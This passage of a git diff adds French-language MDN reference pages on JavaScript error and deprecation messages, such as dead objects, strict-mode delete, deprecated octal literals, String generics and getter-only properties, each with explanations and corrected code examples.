+  };
+};
+
+JSON.stringify(circularReference, getCircularReplacer());
+// {"otherData":123}
+ +

On peut également utiliser une bibliothèque ou une fonction utilitaire pour ce scénario. comme cycle.js.

+ +

Voir aussi

+ +
    +
  • {{jsxref("JSON.stringify")}}
    • +
  • cycle.js qui introduit deux fonctions : JSON.decycle et JSON.retrocycle qui permettent d'encoder et de décoder des structures cycliques en JSON.
    • +
diff --git a/files/fr/web/javascript/reference/errors/dead_object/index.html b/files/fr/web/javascript/reference/errors/dead_object/index.html new file mode 100644 index 0000000000..d65d10f5e0 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/dead_object/index.html @@ -0,0 +1,49 @@ +--- +title: 'TypeError: can''t access dead object' +slug: Web/JavaScript/Reference/Erreurs/Dead_object +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Dead_object +--- +
{{JSSidebar("Errors")}}
+ +

Message

+ +
TypeError: can't access dead object
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Afin d'améliorer l'utilisation de la mémoire et de prévenir les fuites mémoire, Firefox empêche les modules complémentaires de conserver des références fortes vers les objets du DOM après que leur document parent a été détruit. Un objet mort (dead) est un objet qui contient une référence forte vers un éléments du DOM, même après que celui-ci a été détruit dans le DOM. Pour éviter ces problèmes, les références aux objets du DOM d'un document étranger devraient être enregistrées dans un objet spécifique à ce document et être nettoyées lors de la suppression du document. On peut également utiliser les objets qui permettent d'enregistrer des références faibles.

+ +

Vérifier si un objet est mort

+ +

Components.utils fournit une méthode isDeadWrapper() qui peut être utilisée par du code privilégié :

+ +
if (Components.utils.isDeadWrapper(window)) {
+  // dead
+}
+ +

Du code sans privilège ne pourra pas accéder à Component.utils et pourra simplement intercepter l'exception :

+ +
try {
+  String(window);
+}
+catch (e) {
+  console.log("window est problablement mort ");
+}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/fr/web/javascript/reference/errors/delete_in_strict_mode/index.html new file mode 100644 index 0000000000..17b92c307f --- /dev/null +++ b/files/fr/web/javascript/reference/errors/delete_in_strict_mode/index.html @@ -0,0 +1,68 @@ +--- +title: >- + SyntaxError: applying the 'delete' operator to an unqualified name is + deprecated +slug: Web/JavaScript/Reference/Erreurs/Delete_in_strict_mode +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Calling delete on expression not allowed in strict mode (Edge)
+SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox)
+SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

Les variables JavaScript ne peuvent pas être supprimées grâce à l'opérateur delete. En mode strict, toute tentative de suppression d'une variable lèvera une exception.

+ +

L'opérateur delete sert uniquement à supprimer des propriétés sur un objet. Les propriétés d'un objet sont « qualifiées » si elles sont configurables.

+ +

Contrairement à ce qu'on pourrait penser, l'opérateur delete n'a rien à voir avec la libération de la mémoire. La gestion de la mémoire se fait indirectement en cassant les références utilisées. Pour plus d'informations, consulter les pages sur delete et la gestion de la mémoire en JavaScript.

+ +

Cette erreur ne se produit qu'en mode strict. En mode non-strict, l'opération renvoie simplement false.

+ +

Exemples

+ +

Essayer de supprimer une variable normale avec delete ne fonctionne pas, voire lève une exception en mode strict :

+ +
'use strict';
+
+var x;
+
+// ...
+
+delete x;
+
+// SyntaxError: applying the 'delete' operator to
+// an unqualified name is deprecated
+
+ +

Pour libérer le contenu d'une variable, on peut la passer à {{jsxref("null")}} :

+ +
'use strict';
+
+var x;
+// ...
+x = null;
+
+// x peut être ramassée par le ramasse-miettes
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html b/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html new file mode 100644 index 0000000000..da214bc213 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html @@ -0,0 +1,75 @@ +--- +title: 'ReferenceError: deprecated caller or arguments usage' +slug: Web/JavaScript/Reference/Erreurs/Deprecated_caller_or_arguments_usage +tags: + - Erreur + - JavaScript + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in this context (Edge)
+Warning: ReferenceError: deprecated caller usage (Firefox)
+Warning: ReferenceError: deprecated arguments usage (Firefox)
+TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari)
+
+ +

Type d'erreur

+ +

Un avertissement uniquement affiché en mode strict qui prend la forme d'une {{jsxref("ReferenceError")}}. L'exécution du script JavaScript n'est pas interrompue.

+ +

Quel est le problème ?

+ +

En mode strict, les propriétés {{jsxref("Function.caller")}} et/ou {{jsxref("Function.arguments")}} sont utilisées alors qu'elles ne devraient pas l'être. Ces propriétés sont dépréciées car elles font fuiter des informations sur l'appelant de la fonction et ne sont pas standards. De plus, ces propriétés rendent certaines optimisations plus complexe et peuvent nuire aux performances.

+ +

Exemples

+ +

Utilisation de function.caller ou de arguments.callee.caller

+ +

{{jsxref("Function.caller")}} et arguments.callee.caller sont dépréciées (se référer aux articles de la référence pour plus d'informations).

+ +
"use strict";
+
+function myFunc() {
+  if (myFunc.caller == null) {
+    return 'La fonction a été appelée depuis la portée globale !';
+  } else {
+    return 'L\'appelant est ' + myFunc.caller;
+  }
+}
+
+myFunc();
+// Warning: ReferenceError: deprecated caller usage
+// "La fonction a été appelée depuis la portée globale !"
+ +

Function.arguments

+ +

{{jsxref("Function.arguments")}} est dépréciée (se référer à l'article sur cette propriété pour plus d'informations).

+ +
"use strict";
+
+function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0]);
+  if (n > 0) { f(n); }
+  console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+// Warning: ReferenceError: deprecated arguments usage
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/fr/web/javascript/reference/errors/deprecated_expression_closures/index.html new file mode 100644 index 0000000000..ac1b7d53b9 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_expression_closures/index.html @@ -0,0 +1,79 @@ +--- +title: 'Warning: expression closures are deprecated' +slug: Web/JavaScript/Reference/Erreurs/Deprecated_expression_closures +tags: + - Avertissement + - JavaScript + - Warning +translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: expression closures are deprecated
+
+ +

Type d'erreur

+ +

Un avertissement, l'exécution du code JavaScript ne sera pas interrompue.

+ +

Quel est le problème ?

+ +

La syntaxe non-standard avec une expression de fermeture est dépréciée et ne devrait plus être utilisée. Cette syntaxe sera complètement retirée avec le bug {{bug(1083458)}} et les scripts qui l'utilisent déclencheront alors une exception {{jsxref("SyntaxError")}}.

+ +

Exemples

+ +

Syntaxe dépréciée

+ +

Les expression de fermeture permettent de ne pas utiliser les accolades ou les instructions return au sein d'une déclaration de fonction ou pour une définition de méthode dans un objet.

+ +
var x = function() 1;
+
+var obj = {
+  count: function() 1
+};
+
+ +

Syntaxe standard

+ +

Pour convertir cette syntaxe non-standard en une syntaxe standard, il suffit d'ajouter des accolades et l'instruction return.

+ +
var x = function() { return 1; }
+
+var obj = {
+  count: function() { return 1; }
+};
+
+ +

Syntaxe standard avec les fonctions fléchées

+ +

On peut aussi utiliser les fonctions fléchées :

+ +
var x = () => 1;
+ +

Syntaxe standard avec la notation raccourcie pour les méthodes

+ +

On retrouve parfois les expressions de fermeture dans les accesseurs et les mutateurs, par exemple :

+ +
var obj = {
+  get x() 1,
+  set x(v) this.v = v
+};
+
+ +

Grâce aux définitions de méthodes ES2015, on peut convertir le fragment de code précédent en :

+ +
var obj = {
+  get x() { return 1 },
+  set x(v) { this.v = v }
+};
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_octal/index.html b/files/fr/web/javascript/reference/errors/deprecated_octal/index.html new file mode 100644 index 0000000000..72f6d1f3b2 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_octal/index.html @@ -0,0 +1,68 @@ +--- +title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated' +slug: Web/JavaScript/Reference/Erreurs/Deprecated_octal +tags: + - Erreurs + - JavaScript + - Mode strict + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
+SyntaxError:
+"0"-prefixed octal literals and octal escape sequences are deprecated;
+for octal literals use the "0o" prefix instead
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

Les littéraux en base octale et les séquences d'échappement octales sont dépréciées et lèvent une exception {{jsxref("SyntaxError")}} en mode strict. À partir d'ECMAScript 2015, la syntaxe standard utilise un zéro suivi de la lettre « o » (en minuscule ou en majuscule) (0o or 0O).

+ +

Exemples

+ +

Littéraux en base octale préfixés par 0

+ +
"use strict";
+
+03;
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated
+ +

Séquences d'échappement en base octale

+ +
"use strict";
+
+"\251";
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated
+
+ +

Littéraux valides

+ +

Pour former un littéral en base octal, on pourra utiliser un zéro suivi de la lettre « o » :

+ +
0o3;
+
+ +

Pour former une séquence d'échappement en base octale, on écrira une séquence d'échappement en base hexadécimale :

+ +
'\xA9';
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_source_map_pragma/index.html b/files/fr/web/javascript/reference/errors/deprecated_source_map_pragma/index.html new file mode 100644 index 0000000000..a9e4ce66ff --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_source_map_pragma/index.html @@ -0,0 +1,58 @@ +--- +title: >- + SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# + instead +slug: Web/JavaScript/Reference/Erreurs/Deprecated_source_map_pragma +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead
+
+Warning: SyntaxError: Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead
+
+ +

Type d'erreur

+ +

Un avertissement prenant la forme d'une exception {{jsxref("SyntaxError")}}. L'exécution du code JavaScript n'est pas interrompue.

+ +

Quel est le problème ?

+ +

Une syntaxe dépréciée a été utilisée pour indiquer une correspondance de source (source map) dans le code JavaScript.

+ +

Il arrive souvent que les fichiers sources JavaScript soient combinés et minifiés afin que le transfert depuis le serveur vers le client soit plus efficace. Grâce aux correspondances de source (ou source maps), le débogueur peut utiliser les sources des fichiers correspondants aux fichiers minifiés.

+ +

La spécification sur cet outil a évolué car il existait un conflit de syntaxe avec IE (après //@cc_on, la correspondance était interprétée comme un test conditionnel de compilation du moteur JScript). Ce commentaire de compilation conditionnelle pour IE est peu connu mais son existence entraînait des erreurs avec jQuery et d'autres bibliothèques.

+ +

Exemples

+ +

Syntaxe dépréciée

+ +

La syntaxe utilisant l'arobase (@) est dépréciée :

+ +
//@ sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
+
+ +

Syntaxe standard

+ +

Il faut utiliser le dièse (#) :

+ +
//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
+ +

Autrement, on peut indiquer la correspondance dans un en-tête {{HTTPHeader("SourceMap")}} pour servir le fichier JavaScript afin d'éviter tout commentaire :

+ +
X-SourceMap: /path/to/file.js.map
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/fr/web/javascript/reference/errors/deprecated_string_generics/index.html new file mode 100644 index 0000000000..29cedde5b1 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_string_generics/index.html @@ -0,0 +1,105 @@ +--- +title: 'Warning: String.x is deprecated; use String.prototype.x instead' +slug: Web/JavaScript/Reference/Erreurs/Deprecated_String_generics +tags: + - Avertissement + - JavaScript + - Warning +translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics +--- +
{{jsSidebar("Errors")}}
+ +
Les méthodes génériques pour les chaînes de caractères ont été retirées à partir de Firefox 68.
+ +

Message

+ +
Warning: String.charAt            is deprecated; use String.prototype.charAt            instead
+Warning: String.charCodeAt        is deprecated; use String.prototype.charCodeAt        instead
+Warning: String.concat            is deprecated; use String.prototype.concat            instead
+Warning: String.contains          is deprecated; use String.prototype.contains          instead
+Warning: String.endsWith          is deprecated; use String.prototype.endsWith          instead
+Warning: String.includes          is deprecated; use String.prototype.includes          instead
+Warning: String.indexOf           is deprecated; use String.prototype.indexOf           instead
+Warning: String.lastIndexOf       is deprecated; use String.prototype.lastIndexOf       instead
+Warning: String.localeCompare     is deprecated; use String.prototype.localeCompare     instead
+Warning: String.match             is deprecated; use String.prototype.match             instead
+Warning: String.normalize         is deprecated; use String.prototype.normalize         instead
+Warning: String.replace           is deprecated; use String.prototype.replace           instead
+Warning: String.search            is deprecated; use String.prototype.search            instead
+Warning: String.slice             is deprecated; use String.prototype.slice             instead
+Warning: String.split             is deprecated; use String.prototype.split             instead
+Warning: String.startsWith        is deprecated; use String.prototype.startsWith        instead
+Warning: String.substr            is deprecated; use String.prototype.substr            instead
+Warning: String.substring         is deprecated; use String.prototype.substring         instead
+Warning: String.toLocaleLowerCase is deprecated; use String.prototype.toLocaleLowerCase instead
+Warning: String.toLocaleUpperCase is deprecated; use String.prototype.toLocaleUpperCase instead
+Warning: String.toLowerCase       is deprecated; use String.prototype.toLowerCase       instead
+Warning: String.toUpperCase       is deprecated; use String.prototype.toUpperCase       instead
+Warning: String.trim              is deprecated; use String.prototype.trim              instead
+Warning: String.trimLeft          is deprecated; use String.prototype.trimLeft          instead
+Warning: String.trimRight         is deprecated; use String.prototype.trimRight         instead
+
+ +

Type d'erreur

+ +

Un avertissement, l'exécution du script n'est pas interrompue.

+ +

Quel est le problème ?

+ +

Les méthodes génériques non-standards de {{jsxref("String")}} sont dépréciées et ont été retirées à partir de Firefox 68 (il n'y a pas de prise en charge des navigateurs en dehors de Firefox). Les méthodes génériques sont des méthodes utilisées pour manipuler les instances de ce type d'objet et qui sont disponibles sur l'objet String, ce qui permet de les appliquer à n'importe quel objet.

+ +

Exemples

+ +

Syntaxe dépréciée

+ +
var num = 15;
+String.replace(num, /5/, '2');
+ +

Syntaxe standard

+ +
var num = 15;
+String(num).replace(/5/, '2');
+
+ +

Shim

+ +

Voici une méthode qui permet d'avoir les méthodes génériques au sein des navigateurs qui ne les prennent pas en charge :

+ +
/*globals define*/
+// Assumes all supplied String instance methods already present
+// (one may use shims for these if not available)
+(function() {
+  'use strict';
+
+  var i,
+    // We could also build the array of methods with the following, but the
+    //   getOwnPropertyNames() method is non-shimable:
+    // Object.getOwnPropertyNames(String).filter(function(methodName) {
+    //   return typeof String[methodName] === 'function';
+    // });
+    methods = [
+      'contains', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase', 'normalize',
+      'toLocaleUpperCase', 'localeCompare', 'match', 'search', 'slice',
+      'replace', 'split', 'substr', 'concat', 'localeCompare'
+    ],
+    methodCount = methods.length,
+    assignStringGeneric = function(methodName) {
+      var method = String.prototype[methodName];
+      String[methodName] = function(arg1) {
+        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+      };
+    };
+
+  for (i = 0; i < methodCount; i++) {
+    assignStringGeneric(methods[i]);
+  }
+}());
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.html new file mode 100644 index 0000000000..aa920900ad --- /dev/null +++ b/files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.html @@ -0,0 +1,91 @@ +--- +title: 'Warning: Date.prototype.toLocaleFormat is deprecated' +slug: Web/JavaScript/Reference/Erreurs/Deprecated_toLocaleFormat +tags: + - Avertissement + - JavaScript + - Warning +translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: Date.prototype.toLocaleFormat is deprecated; consider using Intl.DateTimeFormat instead
+
+ +

Type d'erreur

+ +

Un avertissement, l'exécution du script JavaScript n'est pas interrompue.

+ +

Quel est le problème ?

+ +

La méthode non-standard {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et ne devrait plus être utilisée. Elle utilise une chaîne de caractères qui indique le format avec la même syntaxe que la fonction strftime() en C. Cette fonction n'est plus disponible à partir de Firefox 58.

+ +

Exemples

+ +

Syntaxe dépréciée

+ +

La méthode {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et sera retirée (aucune prise en charge par les autres navigateurs en dehors de Firefox).

+ +
var today = new Date();
+var date = today.toLocaleFormat('%A %e %B %Y');
+
+console.log(date);
+// En français
+// "Vendredi 10 mars 2017"
+ +

Utiliser une syntaxe standard grâce à l'API ECMAScript Intl

+ +

Le standard ECMA-402 (l'API ECMAScript Intl) définit des objets et méthodes standards qui permettent de mettre en forme des dates et heures (disponible à partir de Chrome 24, de Firefox 29, d'IE11 et de  Safari10).

+ +

Si on souhaite uniquement formater une date, on pourra utiliser la méthode {{jsxref("Date.prototype.toLocaleDateString")}}.

+ +
var today = new Date();
+var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var date = today.toLocaleDateString('fr-FR', options);
+
+console.log(date);
+// "Vendredi 10 mars 2017"
+
+ +

Si on manipule plus de dates, on peut utiliser l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} qui permet de mettre en cache certains des calculs afin d'avoir une mise en forme rapide (ce qui s'avère utile lorsqu'on a une boucle par exemple) :

+ +
var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var dateFormatter = new Intl.DateTimeFormat('de-DE', options)
+
+var dates = [Date.UTC(2012, 11, 20, 3, 0, 0),
+             Date.UTC(2014, 04, 12, 8, 0, 0)];
+
+dates.forEach(date => console.log(dateFormatter.format(date)));
+
+// "Donnerstag, 20. Dezember 2012"
+// "Montag, 12. Mai 2014"
+
+ +

Utiliser les méthodes de l'objet Date

+ +

L'objet {{jsxref("Date")}} dispose de plusieurs méthodes qui permettent de construire une chaîne de caractères pour une date donnée. Ainsi

+ +
(new Date()).toLocaleFormat("%Y%m%d");
+// "20170310"
+
+ +

Pourra être converti en :

+ +
let now = new Date();
+let date = now.getFullYear() * 10000 +
+          (now.getMonth() + 1) * 100 + now.getDate();
+
+console.log(date);
+// "20170310"
+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.toLocaleFormat")}}
    • +
  • {{jsxref("Date.prototype.toLocaleDateString")}}
    • +
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/equal_as_assign/index.html b/files/fr/web/javascript/reference/errors/equal_as_assign/index.html new file mode 100644 index 0000000000..044132307f --- /dev/null +++ b/files/fr/web/javascript/reference/errors/equal_as_assign/index.html @@ -0,0 +1,53 @@ +--- +title: 'SyntaxError: test for equality (==) mistyped as assignment (=)?' +slug: Web/JavaScript/Reference/Erreurs/Equal_as_assign +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: SyntaxError: test for equality (==) mistyped as assignment (=)?
+
+ +

Type d'erreur

+ +

Uniquement pour Firefox. Un avertissement sous la forme d'une exception {{jsxref("SyntaxError")}}, généré uniquement si la préférence javascript.options.strict vaut true.

+ +

Quel est le problème ?

+ +

Le code utilise une affectation (=) là où on attendrait un test d'égalité (==). Afin d'aider au débogage, le moteur JavaScript déclenche des avertissements lorsqu'il détecte ce motif.

+ +

Exemples

+ +

Des affectations utilisées au sein d'expressions conditionnelles

+ +

Il est conseillé de ne pas utiliser d'affectations simples dans des expressions conditionnelles (comme le test effectué avec if...else) car on peut confondre les deux à la lecture du code. Ainsi, on n'utilisera pas la forme suivante :

+ +
if (x = y) {
+  // do the right thing
+}
+
+ +

Si on doit effectivement affecter une variable dans une expression conditionnelle, on entourera l'affectation d'une paire de parenthèses supplémentaires afin de montrer qu'on veut bien effectuer une affectation, comme ceci :

+ +
if ((x = y)) {
+  // exécuter le code
+}
+ +

Autrement (généralement), on veut plutôt utiliser un opérateur de comparaison (== ou === par exemple) :

+ +
if (x == y) {
+  // exécuter le code
+}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html new file mode 100644 index 0000000000..42ad693c09 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html @@ -0,0 +1,168 @@ +--- +title: 'Warning: JavaScript 1.6''s for-each-in loops are deprecated' +slug: Web/JavaScript/Reference/Erreurs/For-each-in_loops_are_deprecated +tags: + - Avertissement + - JavaScript +translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Warning: JavaScript 1.6's for-each-in loops are deprecated; consider using ES6 for-of instead
+
+ +

Type d'erreur

+ +

Avertissement.

+ +

Quel est le problème ?

+ +

L'instruction {{jsxref("Instructions/for_each...in", "for each (variable in obj)")}} présente à partir de JavaScript 1.6 est une instruction dépréciée et est amenée à disparaître dans un avenir proche.

+ +

Exemples

+ +

Itérer sur un objet

+ +

{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisé pour parcourir les valeurs contenues dans un objet.

+ +

Syntaxe dépréciée

+ +
var objet = { a: 10, b: 20 };
+
+for each (var x in objet) {
+  console.log(x);        // 10
+                         // 20
+}
+
+ +

Syntaxe alternative, standard

+ +

On peut désormais utilisé l'instruction de boucle standard {{jsxref("Instructions/for...in", "for...in")}} afin d'itérer sur les clés d'un objet et de récupérer les valeurs des propriétés :

+ +
var objet = { a: 10, b: 20 };
+
+for (var key in objet) {
+  var x = objet[key];
+  console.log(x);        // 10
+                         // 20
+}
+
+ +

Ou alors, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.values")}} (ES2017) afin d'obtenir un tableau des valeurs associées à un objet pour ensuite le parcourir :

+ +
var objet = { a: 10, b: 20 };
+
+for (var x of Object.values(objet)) {
+  console.log(x);        // 10
+                         // 20
+}
+
+ +

Itérer sur un tableau

+ +

{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisée afin de parcourir les éléments d'un tableau.

+ +

Syntaxe dépréciée

+ +
var array = [10, 20, 30];
+
+for each (var x in array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+
+ +

Syntaxe alternative, standard

+ +

On peut obtenir le même effet avec les boucles {{jsxref("Instructions/for...of", "for...of")}} (ES2015).

+ +
var array = [10, 20, 30];
+
+for (var x of array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+
+ +

Parcourir un tableau qui vaille null ou undefined

+ +

{{jsxref("Instructions/for_each...in", "for each...in")}} ne fera rien si la valeur fournie est null ou undefined. En revanche, {{jsxref("Instructions/for...of", "for...of")}} lèvera une exception dans ces cas.

+ +

Syntaxe dépréciée

+ +
function func(array) {
+  for each (var x in array) {
+    console.log(x);
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // rien ne s'affiche
+func(undefined);       // rien ne s'affiche
+
+ +

Syntaxe alternative, standard

+ +

Pour réécrire les instructions {{jsxref("Instructions/for_each...in", "for each...in")}} afin que les valeurs null ou undefined puissent être gérées avec {{jsxref("Instructions/for...of", "for...of")}}, il faudra rajouter une protection :

+ +
function func(array) {
+  if (array) {
+    for (var x of array) {
+      console.log(x);
+    }
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // rien ne s'affiche
+func(undefined);       // rien ne s'affiche
+
+ +

Itérer sur les tuples clé-valeur d'un objet

+ +

Syntaxe dépréciée

+ +

On pouvait utiliser une forme syntaxique particulière, désormais dépréciée, qui combine {{jsxref("Instructions/for_each...in", "for each...in")}} et l'objet déprécié {{jsxref("Iterator")}}.

+ +
var object = { a: 10, b: 20 };
+
+for each (var [key, value] in Iterator(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+
+ +

Syntaxe alternative, standard

+ +

On peut désormais utiliser la boucle {{jsxref("Instructions/for...in", "for...in")}} afin de parcourir les différentes clés d'un objet pour ensuite récupérer les valeurs associées :

+ +
var object = { a: 10, b: 20 };
+
+for (var key in object) {
+  var value = object[key];
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+
+ +

Ou encore, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.entries")}} (ES2017) pour récupérer un tableau contenant les clés et les valeurs d'un objet qu'on pourra ensuite parcourir :

+ +
var object = { a: 10, b: 20 };
+
+for (var [key, value] of Object.entries(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/for...of", "for...of")}}
    • +
  • {{jsxref("Object.values")}}
    • +
  • {{jsxref("Object.entries")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/getter_only/index.html b/files/fr/web/javascript/reference/errors/getter_only/index.html new file mode 100644 index 0000000000..eea26eaed4 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/getter_only/index.html @@ -0,0 +1,84 @@ +--- +title: 'TypeError: setting a property that has only a getter' +slug: Web/JavaScript/Reference/Erreurs/Getter_only +tags: + - Erreurs + - JavaScript + - Mode strict + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Getter_only +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
+TypeError: setting getter-only property "x" (Firefox)
+TypeError: Cannot set property "prop" of #<Object> which has only a getter (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}, uniquement en mode strict.

+ +

Quel est le problème ?

+ +

On essaie de fournir une nouvelle valeur pour une propriété qui ne dispose que d'un accesseur. Ceci échouera en mode non-strict mais lèvera une exception {{jsxref("TypeError")}} en mode strict.

+ +

Exemples

+ +

Dans l'exemple qui suit, on voit comment créer un accesseur sur une propriété. En revanche, dans la définition de l'objet, on n'inclut aucun mutateur et une exception TypeError sera déclenchée lorsqu'on voudra modifier la propriété temperature pour la passer à 30. Pour plus de détails, on pourra consulter la page {{jsxref("Object.defineProperty()")}}.

+ +
"use strict";
+
+function Archiver() {
+  var temperature = null;
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    }
+  });
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+
+arc.temperature = 30;
+// TypeError: setting a property that has only a getter
+
+ +

Pour corriger cette erreur, soit on retire la ligne 16 (où on tente de modifier la propriété) soit on implémente un mutateur, comme ceci :

+ +
"use strict";
+
+function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.defineProperties()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/identifier_after_number/index.html b/files/fr/web/javascript/reference/errors/identifier_after_number/index.html new file mode 100644 index 0000000000..988d7c9f67 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/identifier_after_number/index.html @@ -0,0 +1,56 @@ +--- +title: 'SyntaxError: identifier starts immediately after numeric literal' +slug: Web/JavaScript/Reference/Erreurs/Identifier_after_number +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number +--- +
{{JSSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Unexpected identifier after numeric literal (Edge)
+SyntaxError: identifier starts immediately after numeric literal (Firefox)
+SyntaxError: Unexpected number (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Les noms qu'on donne aux variables (aussi appelés « identifiants ») doivent respecter certaines règles…

+ +

En JavaScript, un identifiant doit commencer par une lettre, un tiret bas (_) ou un dollar ($), il ne peut pas commencer par un chiffre. Seuls les caractères après le premier peuvent être des chiffres.

+ +

Exemples

+ +

Des variables dont le nom commence par un chiffre

+ +

En JavaScript, les noms des variables ne peuvent pas commencer par un chiffre. Aussi, le script suivant provoquera des erreurs :

+ +
var 1vie = 'toto';
